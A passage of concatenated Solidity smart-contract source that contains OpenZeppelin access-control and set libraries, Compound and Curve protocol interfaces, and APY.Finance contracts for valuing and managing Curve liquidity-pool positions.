{RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: BSD 3-Clause /* * https://github.com/compound-finance/compound-protocol/blob/master/contracts/CTokenInterfaces.sol */ pragma solidity 0.6.11; interface CTokenInterface { function symbol() external returns (string memory); function decimals() external returns (uint8); function totalSupply() external returns (uint256); function isCToken() external returns (bool); function transfer(address dst, uint256 amount) external returns (bool); function transferFrom( address src, address dst, uint256 amount ) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function totalBorrowsCurrent() external returns (uint256); function borrowBalanceCurrent(address account) external returns (uint256); function accrueInterest() external returns (uint256); function exchangeRateCurrent() external returns (uint256); function exchangeRateStored() external view returns (uint256); function getCash() external view returns (uint256); function borrowBalanceStored(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function borrowRatePerBlock() external view returns (uint256); function supplyRatePerBlock() external view returns (uint256); function getAccountSnapshot(address account) external view returns ( uint256, uint256, uint256, uint256 ); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; /** * @notice the Curve token minter * @author Curve Finance * @dev translated from vyper * license MIT * version 0.2.4 */ // solhint-disable func-name-mixedcase, func-param-name-mixedcase interface ITokenMinter { /** * @notice Mint everything which belongs to `msg.sender` and send to them * @param gauge_addr `LiquidityGauge` address to get mintable amount from */ function mint(address gauge_addr) external; /** * @notice Mint everything which belongs to `msg.sender` across multiple gauges * @param gauge_addrs List of `LiquidityGauge` addresses */ function mint_many(address[8] calldata gauge_addrs) external; /** * @notice Mint tokens for `_for` * @dev Only possible when `msg.sender` has been approved via `toggle_approve_mint` * @param gauge_addr `LiquidityGauge` address to get mintable amount from * @param _for Address to mint to */ function mint_for(address gauge_addr, address _for) external; /** * @notice allow `minting_user` to mint for `msg.sender` * @param minting_user Address to toggle permission for */ function toggle_approve_mint(address minting_user) external; } // solhint-enable // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IStableSwap { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); // solhint-disable-next-line function underlying_coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[3] memory amounts, uint256 min_mint_amount) external; // solhint-disable-next-line function add_liquidity( uint256[3] memory amounts, uint256 minMinAmount, bool useUnderlyer ) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[3] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount, bool useUnderlyer ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // solhint-disable-next-line no-empty-blocks interface IStableSwap3 is IStableSwap { } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IStableSwap2 { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[2] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IStableSwap4 { function balances(uint256 coin) external view returns (uint256); function coins(uint256 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[4] memory min_amounts) external; // solhint-disable-next-line function remove_liquidity_one_coin( uint256 tokenAmount, int128 tokenIndex, uint256 minAmount ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IOldStableSwap2 { function balances(int128 coin) external view returns (uint256); function coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[2] memory min_amounts) external; /// @dev need this due to lack of `remove_liquidity_one_coin` function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); /** * @dev For newest curve pools like aave; older pools refer to a private `token` variable. */ // function lp_token() external view returns (address); // solhint-disable-line func-name-mixedcase } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IOldStableSwap4 { function balances(int128 coin) external view returns (uint256); function coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[4] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity(uint256 _amount, uint256[4] memory min_amounts) external; /// @dev need this due to lack of `remove_liquidity_one_coin` function exchange( int128 i, int128 j, uint256 dx, uint256 min_dy // solhint-disable-line func-param-name-mixedcase ) external; // solhint-disable-next-line function get_virtual_price() external view returns (uint256); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the liquidity gauge, i.e. staking contract, for the stablecoin pool */ interface ILiquidityGauge { function deposit(uint256 _value) external; function deposit(uint256 _value, address _addr) external; function withdraw(uint256 _value) external; /** * @notice Claim available reward tokens for msg.sender */ // solhint-disable-next-line func-name-mixedcase function claim_rewards() external; /** * @notice Get the number of claimable reward tokens for a user * @dev This function should be manually changed to "view" in the ABI * Calling it via a transaction will claim available reward tokens * @param _addr Account to get reward amount for * @param _token Token to get reward amount for * @return uint256 Claimable reward token amount */ // solhint-disable-next-line func-name-mixedcase function claimable_reward(address _addr, address _token) external returns (uint256); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; /* * Synthetix: StakingRewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * */ interface IStakingRewards { // Mutative function stake(uint256 amount) external; function withdraw(uint256 amount) external; function getReward() external; function exit() external; // Views function lastTimeRewardApplicable() external view returns (uint256); function rewardPerToken() external view returns (uint256); function earned(address account) external view returns (uint256); function getRewardForDuration() external view returns (uint256); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); } // SPDX-License-Identifier: BUSDL-2.1 pragma solidity 0.6.11; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @notice the stablecoin pool contract */ interface IDepositZap { // this method only exists on the DepositCompound Contract // solhint-disable-next-line function underlying_coins(int128 coin) external view returns (address); /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external; /** * @dev the number of coins is hard-coded in curve contracts */ // solhint-disable-next-line function remove_liquidity_one_coin( uint256 _amount, int128 i, uint256 minAmount ) external; function curve() external view returns (address); } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; import {INameIdentifier} from "contracts/common/Imports.sol"; abstract contract Curve3PoolUnderlyerConstants { // underlyer addresses address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant USDC_ADDRESS = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; address public constant USDT_ADDRESS = 0xdAC17F958D2ee523a2206206994597C13D831ec7; } abstract contract Curve3PoolConstants is Curve3PoolUnderlyerConstants, INameIdentifier { string public constant override NAME = "curve-3pool"; address public constant STABLE_SWAP_ADDRESS = 0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7; address public constant LP_TOKEN_ADDRESS = 0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490; address public constant LIQUIDITY_GAUGE_ADDRESS = 0xbFcF63294aD7105dEa65aA58F8AE5BE2D9d0952A; } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // solhint-disable-next-line no-empty-blocks contract CurveAllocationBase3 is CurveAllocationBase { } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap2, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase2 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap2 stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap2 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IStableSwap4, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 3pool * @author APY.Finance * @notice This contract enables the APY.Finance system to retrieve the balance * of an underlyer of a Curve LP token. The balance is used as part * of the Chainlink computation of the deployed TVL. The primary * `getUnderlyerBalance` function is invoked indirectly when a * Chainlink node calls `balanceOf` on the APYAssetAllocationRegistry. */ contract CurveAllocationBase4 { using SafeMath for uint256; /** * @notice Returns the balance of an underlying token represented by * an account's LP token balance. * @param stableSwap the liquidity pool comprised of multiple underlyers * @param gauge the staking contract for the LP tokens * @param lpToken the LP token representing the share of the pool * @param coin the index indicating which underlyer * @return balance */ function getUnderlyerBalance( address account, IStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken, uint256 coin ) public view returns (uint256 balance) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); uint256 poolBalance = getPoolBalance(stableSwap, coin); (uint256 lpTokenBalance, uint256 lpTokenSupply) = getLpTokenShare(account, stableSwap, gauge, lpToken); balance = lpTokenBalance.mul(poolBalance).div(lpTokenSupply); } function getPoolBalance(IStableSwap4 stableSwap, uint256 coin) public view returns (uint256) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); return stableSwap.balances(coin); } function getLpTokenShare( address account, IStableSwap4 stableSwap, ILiquidityGauge gauge, IERC20 lpToken ) public view returns (uint256 balance, uint256 totalSupply) { require(address(stableSwap) != address(0), "INVALID_STABLESWAP"); require(address(gauge) != address(0), "INVALID_GAUGE"); require(address(lpToken) != address(0), "INVALID_LP_TOKEN"); totalSupply = lpToken.totalSupply(); balance = lpToken.balanceOf(account); balance = balance.add(gauge.balanceOf(account)); } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {IZap} from "contracts/lpaccount/Imports.sol"; import { IAssetAllocation, IERC20, IDetailedERC20 } from "contracts/common/Imports.sol"; import {SafeERC20} from "contracts/libraries/Imports.sol"; import { ILiquidityGauge, ITokenMinter } from "contracts/protocols/curve/common/interfaces/Imports.sol"; import {CurveZapBase} from "contracts/protocols/curve/common/CurveZapBase.sol"; abstract contract CurveGaugeZapBase is IZap, CurveZapBase { using SafeERC20 for IERC20; address internal constant MINTER_ADDRESS = 0xd061D61a4d941c39E5453435B6345Dc261C2fcE0; address internal immutable LP_ADDRESS; address internal immutable GAUGE_ADDRESS; constructor( address swapAddress, address lpAddress, address gaugeAddress, uint256 denominator, uint256 slippage, uint256 nCoins ) public CurveZapBase(swapAddress, denominator, slippage, nCoins) // solhint-disable-next-line no-empty-blocks { LP_ADDRESS = lpAddress; GAUGE_ADDRESS = gaugeAddress; } function _depositToGauge() internal override { ILiquidityGauge liquidityGauge = ILiquidityGauge(GAUGE_ADDRESS); uint256 lpBalance = IERC20(LP_ADDRESS).balanceOf(address(this)); IERC20(LP_ADDRESS).safeApprove(GAUGE_ADDRESS, 0); IERC20(LP_ADDRESS).safeApprove(GAUGE_ADDRESS, lpBalance); liquidityGauge.deposit(lpBalance); } function _withdrawFromGauge(uint256 amount) internal override returns (uint256) { ILiquidityGauge liquidityGauge = ILiquidityGauge(GAUGE_ADDRESS); liquidityGauge.withdraw(amount); //lpBalance return IERC20(LP_ADDRESS).balanceOf(address(this)); } function _claim() internal override { // claim CRV ITokenMinter(MINTER_ADDRESS).mint(GAUGE_ADDRESS); // claim protocol-specific rewards _claimRewards(); } // solhint-disable-next-line no-empty-blocks function _claimRewards() internal virtual {} } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath, SafeERC20} from "contracts/libraries/Imports.sol"; import {IZap} from "contracts/lpaccount/Imports.sol"; import { IAssetAllocation, IDetailedERC20, IERC20 } from "contracts/common/Imports.sol"; import { Curve3PoolUnderlyerConstants } from "contracts/protocols/curve/3pool/Constants.sol"; abstract contract CurveZapBase is Curve3PoolUnderlyerConstants, IZap { using SafeMath for uint256; using SafeERC20 for IERC20; address internal constant CRV_ADDRESS = 0xD533a949740bb3306d119CC777fa900bA034cd52; address internal immutable SWAP_ADDRESS; uint256 internal immutable DENOMINATOR; uint256 internal immutable SLIPPAGE; uint256 internal immutable N_COINS; constructor( address swapAddress, uint256 denominator, uint256 slippage, uint256 nCoins ) public { SWAP_ADDRESS = swapAddress; DENOMINATOR = denominator; SLIPPAGE = slippage; N_COINS = nCoins; } /// @param amounts array of underlyer amounts function deployLiquidity(uint256[] calldata amounts) external override { require(amounts.length == N_COINS, "INVALID_AMOUNTS"); uint256 totalNormalizedDeposit = 0; for (uint256 i = 0; i < amounts.length; i++) { if (amounts[i] == 0) continue; uint256 deposit = amounts[i]; address underlyerAddress = _getCoinAtIndex(i); uint8 decimals = IDetailedERC20(underlyerAddress).decimals(); uint256 normalizedDeposit = deposit.mul(10**uint256(18)).div(10**uint256(decimals)); totalNormalizedDeposit = totalNormalizedDeposit.add( normalizedDeposit ); IERC20(underlyerAddress).safeApprove(SWAP_ADDRESS, 0); IERC20(underlyerAddress).safeApprove(SWAP_ADDRESS, amounts[i]); } uint256 minAmount = _calcMinAmount(totalNormalizedDeposit, _getVirtualPrice()); _addLiquidity(amounts, minAmount); _depositToGauge(); } /** * @param amount LP token amount * @param index underlyer index */ function unwindLiquidity(uint256 amount, uint8 index) external override { require(index < N_COINS, "INVALID_INDEX"); uint256 lpBalance = _withdrawFromGauge(amount); address underlyerAddress = _getCoinAtIndex(index); uint8 decimals = IDetailedERC20(underlyerAddress).decimals(); uint256 minAmount = _calcMinAmountUnderlyer(lpBalance, _getVirtualPrice(), decimals); _removeLiquidity(lpBalance, index, minAmount); } function claim() external override { _claim(); } function sortedSymbols() public view override returns (string[] memory) { // N_COINS is not available as a public function // so we have to hardcode the number here string[] memory symbols = new string[](N_COINS); for (uint256 i = 0; i < symbols.length; i++) { address underlyerAddress = _getCoinAtIndex(i); symbols[i] = IDetailedERC20(underlyerAddress).symbol(); } return symbols; } function _getVirtualPrice() internal view virtual returns (uint256); function _getCoinAtIndex(uint256 i) internal view virtual returns (address); function _addLiquidity(uint256[] calldata amounts_, uint256 minAmount) internal virtual; function _removeLiquidity( uint256 lpBalance, uint8 index, uint256 minAmount ) internal virtual; function _depositToGauge() internal virtual; function _withdrawFromGauge(uint256 amount) internal virtual returns (uint256); function _claim() internal virtual; /** * @dev normalizedDepositAmount the amount in same units as virtual price (18 decimals) * @dev virtualPrice the "price", in 18 decimals, per big token unit of the LP token * @return required minimum amount of LP token (in token wei) */ function _calcMinAmount( uint256 normalizedDepositAmount, uint256 virtualPrice ) internal view returns (uint256) { uint256 idealLpTokenAmount = normalizedDepositAmount.mul(1e18).div(virtualPrice); // allow some slippage/MEV return idealLpTokenAmount.mul(DENOMINATOR.sub(SLIPPAGE)).div(DENOMINATOR); } /** * @param lpTokenAmount the amount in the same units as Curve LP token (18 decimals) * @param virtualPrice the "price", in 18 decimals, per big token unit of the LP token * @param decimals the number of decimals for underlyer token * @return required minimum amount of underlyer (in token wei) */ function _calcMinAmountUnderlyer( uint256 lpTokenAmount, uint256 virtualPrice, uint8 decimals ) internal view returns (uint256) { // TODO: grab LP Token decimals explicitly? uint256 normalizedUnderlyerAmount = lpTokenAmount.mul(virtualPrice).div(1e18); uint256 underlyerAmount = normalizedUnderlyerAmount.mul(10**uint256(decimals)).div( 10**uint256(18) ); // allow some slippage/MEV return underlyerAmount.mul(DENOMINATOR.sub(SLIPPAGE)).div(DENOMINATOR); } function _createErc20AllocationArray(uint256 extraAllocations) internal pure returns (IERC20[] memory) { IERC20[] memory allocations = new IERC20[](extraAllocations.add(4)); allocations[0] = IERC20(CRV_ADDRESS); allocations[1] = IERC20(DAI_ADDRESS); allocations[2] = IERC20(USDC_ADDRESS); allocations[3] = IERC20(USDT_ADDRESS); return allocations; } } // SPDX-License-Identifier: BUSDL-1.1 pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import {SafeMath} from "contracts/libraries/Imports.sol"; import {IERC20} from "contracts/common/Imports.sol"; import {ImmutableAssetAllocation} from "contracts/tvl/Imports.sol"; import { IOldStableSwap2, ILiquidityGauge } from "contracts/protocols/curve/common/interfaces/Imports.sol"; /** * @title Periphery Contract for the Curve 